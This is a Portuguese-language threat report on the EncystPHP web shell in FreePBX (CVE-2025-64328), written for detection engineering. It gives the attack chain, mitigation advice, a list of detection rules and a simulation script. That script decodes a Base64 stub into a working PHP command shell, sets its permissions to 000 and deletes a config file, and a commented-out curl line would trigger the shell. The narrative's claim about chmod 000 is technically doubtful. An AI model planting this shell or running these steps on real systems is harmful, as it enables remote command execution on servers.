SOC Prime Bias: Crítico

03 Feb 2026 16:33 UTC

EncystPHP: Web Shell FreePBX Armado para Comprometimento Persistente de Admin

Author Photo
Ruslan Mikhalov Chief of Threat Research at SOC Prime linkedin icon Seguir
EncystPHP: Web Shell FreePBX Armado para Comprometimento Persistente de Admin
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Resumo

O FortiGuard Labs reporta um web shell PHP chamado EncystPHP implantado em instâncias expostas do FreePBX explorando CVE-2025-64328. O implante permite a execução remota de comandos, provisiona usuários privilegiados e configura persistência em camadas através de tarefas cron e de droppers subsequentes. A atividade está ligada ao grupo INJ3CTOR3 e aparenta visar ambientes de telecomunicações. Indicadores publicados incluem IPs maliciosos, domínios, URLs e múltiplos caminhos de arquivos hostis.

Investigação

Investigadores rastrearam o acesso inicial para uma falha de injeção de comando pós-autenticação no FreePBX Endpoint Manager. Após exploração bem-sucedida, o operador puxa um dropper de 45.234.176.202, relaxa permissões em componentes principais do PHP, extrai credenciais de banco de dados, cria uma conta de nível root e adiciona uma chave SSH controlada pelo atacante. A persistência é reforçada com entradas cron que repetidamente buscam droppers adicionais e refrescam artefatos. O EncystPHP também imita arquivos legítimos do FreePBX e manipula timestamps para reduzir a visibilidade durante a triagem rotineira.

Mitigação

Aplique o patch no FreePBX Endpoint Manager para corrigir CVE-2025-64328 (e quaisquer correções relacionadas) o mais rápido possível. Procure por arquivos web shell não autorizados, cronogramas cron suspeitos e novos usuários locais privilegiados criados. Bloqueie o HTTP de saída para infraestrutura maliciosa conhecida e aplique permissões estritas de menor privilégio em diretórios voltados para a web e ativos PHP.

Resposta

Ao detectar, isole o servidor PBX afetado, remova os artefatos do EncystPHP, elimine cron jobs não autorizados e redefina contas locais e chaves SSH. Revise os logs e backups de configuração para avaliar mudanças, então aplique as atualizações de segurança atuais e reforce a interface web. Valide que nenhum dropper secundário ou mecanismos de persistência permanecem antes de restaurar as operações normais de telefonia.

Fluxo de Ataque

Detecções

Possível Nova Conta para Persistência [Linux] (via linha de comando)

Equipe do SOC Prime
02 Fev 2026

Arquivo Cron Foi Criado (via evento de arquivo)

Equipe do SOC Prime
02 Fev 2026

Downloads para Pastas Suspeitas (via linha de comando)

Equipe do SOC Prime
02 Fev 2026

Possível Tentativa de Descoberta de Hosts Conhecidos SSH [MacOS] (via linha de comando)

Equipe do SOC Prime
02 Fev 2026

Possível Manipulação de Strings Codificadas em Base64 (via linha de comando)

Equipe do SOC Prime
02 Fev 2026

IOCs (DestinationIP) para detectar: Desmascarando o Web Shell EncystPHP Uma Web Shell Persistente de FreePBX que Habilita Comprometimento Administrativo a Longo Prazo

Regras AI SOC Prime
02 Fev 2026

IOCs (HashSha256) para detectar: Desmascarando o Web Shell EncystPHP Uma Web Shell Persistente de FreePBX que Habilita Comprometimento Administrativo a Longo Prazo

Regras AI SOC Prime
02 Fev 2026

IOCs (SourceIP) para detectar: Desmascarando o Web Shell EncystPHP Uma Web Shell Persistente de FreePBX que Habilita Comprometimento Administrativo a Longo Prazo

Regras AI SOC Prime
02 Fev 2026

Detectar Entradas Crontab para Download Persistente de k.php e c Dropper [Criação de Processo Linux]

Regras AI SOC Prime
02 Fev 2026

Implantação do Web Shell EncystPHP e Persistência via CVE-2025-64328 [Criação de Processo Linux]

Regras AI SOC Prime
02 Fev 2026

Detecção de Atividade do Web Shell EncystPHP no FreePBX [Evento de Arquivo Linux]

Regras AI SOC Prime
02 Fev 2026

Execução de Simulação

Pré-requisito: A Checagem Pré-voo de Telemetria & de Linha de Base deve ter sido aprovada.

Justificativa: Esta seção detalha a execução precisa da técnica do adversário (TTP) projetada para acionar a regra de detecção. Os comandos e a narrativa DEVEM refletir diretamente os TTPs identificados e visam gerar a telemetria exata esperada pela lógica de detecção.

  • Narrativa do Ataque & Comandos:

    1. Carregar o web shell EncystPHP – O atacante fabrica um payload PHP codificado em Base64 e o entrega via um POST HTTP para a UI web do FreePBX, fazendo com que o arquivo ajax.php seja escrito em /var/www/html/admin/views/ajax.php.
    2. Definir permissões restritivas – Imediatamente após a implantação, o atacante executa chmod 000 ajax.php para esconder o shell de usuários normais e forçar a execução sob a conta privilegiada do servidor web (T1222.002).
    3. Excluir configuração crítica – Para prejudicar a detecção e forçar o sistema a recarregar com o shell malicioso, o atacante remove /etc/freepbx.conf (T1070.004, T1562.001).
    4. Acionar o shell – Um simples GET HTTP para o recém-criado ajax.php executa o payload, estabelecendo um shell reverso (T1105, T1059.004).
  • Script de Teste de Regressão: O script reproduz os passos 1‑3 em um diretório de teste controlado (/tmp/freepbx_test) para evitar afetar um sistema de produção.

    # encystphp_simulation.sh
    set -euo pipefail
    
    # ----- Setup test directories (mirroring FreePBX layout) -----
    TEST_ROOT="/tmp/freepbx_test"
    WEB_ROOT="${TEST_ROOT}/var/www/html/admin/views"
    CONFIG_FILE="${TEST_ROOT}/etc/freepbx.conf"
    
    sudo mkdir -p "${WEB_ROOT}"
    sudo mkdir -p "$(dirname "${CONFIG_FILE}")"
    
    # ----- Create dummy config file (will be deleted) -----
    echo "freepbx configuration" | sudo tee "${CONFIG_FILE}" > /dev/null
    
    # ----- Base64‑encoded EncystPHP payload (very small stub) -----
    PAYLOAD_B64="PD9waHAKc3lzdGVtKCRfR0VUWydjbWQnXSk7Cj8+"
    
    # ----- Step 1: Deploy web shell -----
    echo "${PAYLOAD_B64}" | base64 -d | sudo tee "${WEB_ROOT}/ajax.php" > /dev/null
    echo "Web shell deployed at ${WEB_ROOT}/ajax.php"
    
    # ----- Step 2: Restrictive permission (000) -----
    sudo chmod 000 "${WEB_ROOT}/ajax.php"
    echo "Permissions set to 000"
    
    # ----- Step 3: Delete critical config file -----
    sudo rm -f "${CONFIG_FILE}"
    echo "Deleted ${CONFIG_FILE}"
    
    # ----- Optional: trigger the shell (simulated) -----
    # curl -s "http://localhost/admin/views/ajax.php?cmd=id"
    
    echo "Simulation complete. Check SIEM for alerts."
  • Comandos de Limpeza:

    # cleanup_encystphp_simulation.sh
    set -euo pipefail
    TEST_ROOT="/tmp/freepbx_test"
    sudo rm -rf "${TEST_ROOT}"
    echo "Ambiente de teste limpo."